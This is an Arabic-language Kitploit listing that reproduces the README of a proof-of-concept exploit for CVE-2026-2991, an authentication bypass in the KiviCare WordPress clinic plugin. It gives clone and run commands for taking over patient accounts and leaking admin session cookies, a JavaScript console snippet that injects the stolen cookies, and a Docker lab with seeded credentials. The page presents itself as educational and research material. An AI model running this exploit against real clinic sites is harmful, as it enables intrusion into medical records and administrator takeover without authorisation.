Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-2991 — استغلال PoC لثغرة CVE-2026-2991 — تجاوز المصادقة في إضافة KiviCare لـ WordPress (≤4.1.2) مما يسمح بالاستيلاء على حسابات المرضى دون مصادقة واستخراج جلسات المسؤول. | Kitploit
أدوات/GitHubGitHub/joshuavanderpoll/cve-2026-2991
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubjoshuavanderpoll/cve-2026-2991

CVE-2026-2991

استغلال PoC لثغرة CVE-2026-2991 — تجاوز المصادقة في إضافة KiviCare لـ WordPress (≤4.1.2) مما يسمح بالاستيلاء على حسابات المرضى دون مصادقة واستخراج جلسات المسؤول.

عرض المستودع
212منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

KiviCare <= 4.1.2 - تجاوز المصادقة (CVE-2026-2991) PoC

Python

📜 الوصف

CVE-2026-2991 هي ثغرة تجاوز مصادقة في إضافة ووردبريس KiviCare – نظام إدارة العيادات والمرضى (EHR) تؤثر على جميع الإصدارات حتى 4.1.2 وما دون.

تعرض الإضافة نقطة نهاية REST عامة على /wp-json/kivicare/v1/auth/patient/social-login والتي تقوم بمصادقة المستخدمين عبر تسجيل الدخول الاجتماعي. تقبل دالة patientSocialLogin() عنوان بريد إلكتروني ورمز وصول ولكنها لا تتحقق أبدًا من الرمز مقابل مزود الخدمة الاجتماعية المزعوم. يمكن لأي مهاجم غير مصادق تسجيل الدخول كأي مريض مسجّل بمجرد توفير بريده الإلكتروني وأي سلسلة عشوائية كرمز.

بالإضافة إلى ذلك، يتم إصدار كوكيز مصادقة ووردبريس قبل فرض التحقق من دور المريض. وهذا يعني أنه بالنسبة للحسابات غير المريضة (بما في ذلك حسابات المسؤولين)، تُرجع نقطة النهاية رمز HTTP 403 مع أنها لا تزال تتضمن ترويسات Set-Cookie صالحة — مما يؤدي إلى تسريب جلسة مسؤول قابلة لإعادة الاستخدام للمهاجم.

الإصدارات المتأثرة: kivicare-clinic-management-system <= 4.1.2

✨ الميزات

  • غير مصادق — لا يتطلب أي بيانات اعتماد أو جلسة سابقة
  • الاستيلاء على حساب مريض — تسجيل الدخول كأي مريض مسجّل باستخدام بريده الإلكتروني فقط
  • تسريب جلسة المسؤول — استخراج كوكيز مصادقة مسؤول صالحة من استجابة 403 للحسابات غير المريضة
  • مقتطف وحدة تحكم المتصفح — إخراج JavaScript جاهز للصق لحقن الكوكيز وإعادة التوجيه مباشرة إلى لوحة التحكم

OSX/Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

⚙️ الاستخدام

python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]

الاستيلاء على حساب مريض

تجاوز المصادقة لمريض مسجّل. يُرجع البرنامج النصي الجلسة الكاملة، بما في ذلك nonce وكوكيز قابلة لإعادة الاستخدام.

python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

تجاوز مريض


تسريب جلسة المسؤول (حساب غير مريض)

قدّم بريد أي مستخدم غير مريض (مثل مسؤول). تصدر نقطة النهاية كوكيز مصادقة صالحة قبل التحقق من الدور وتُرجع 403 — يتم استخراج تلك الكوكيز وعرضها.

python3 CVE-2026-2991.py  --url http://localhost:8080/ --email '[email protected]'

تسريب كوكيز المسؤول


تسجيل الدخول عبر وحدة تحكم المتصفح

بعد تنفيذ ناجح، يطبع البرنامج النصي مقتطف JavaScript. افتح الموقع المستهدف في متصفحك، والصق المقتطف في وحدة تحكم المتصفح (F12 → Console)، ثم اضغط Enter — سيعيّن الكوكيز المسروقة وينقلك تلقائيًا إلى لوحة التحكم.

(() => {
  document.cookie = "wordpress_<hash>=<value>; path=/";
  document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
  window.location.href = "http://target.com/kivicare-patient-dashboard";
})();

🐋 إثبات المفهوم عبر Docker

بيئة Docker Compose مكتفية ذاتيًا مع الإضافة الهشّة مثبّتة مسبقًا ومزوّدة ببيانات اختبار واقعية. راجع DOCKER.md لمزيد من التفاصيل.

cd docker/
docker compose up

يقوم المختبر بإنشاء الحسابات التالية عند أول تشغيل:

الدوراسم المستخدمالبريد الإلكترونيكلمة المرور
مسؤولadmin[email protected]admin
طبيبdr.harris[email protected]Doctor@123
طبيبdr.chen[email protected]Doctor@123
طبيبdr.okonkwo[email protected]Doctor@123
مريضjames.ford[email protected]Patient@123
مريضsofia.reyes[email protected]Patient@123
مريضoliver.knight[email protected]Patient@123
مريضamara.diallo[email protected]Patient@123
مريضdan.walsh[email protected]Patient@123
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'

# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'

🕵🏼 المراجع

  • KiviCare — إضافة ووردبريس
  • NVD — CVE-2026-2991
  • WordFence
  • HackIndex.io — CVE-2026-2991

📢 إخلاء مسؤولية

هذه الأداة مقدمة لأغراض تعليمية وبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.

تنزيل الأداة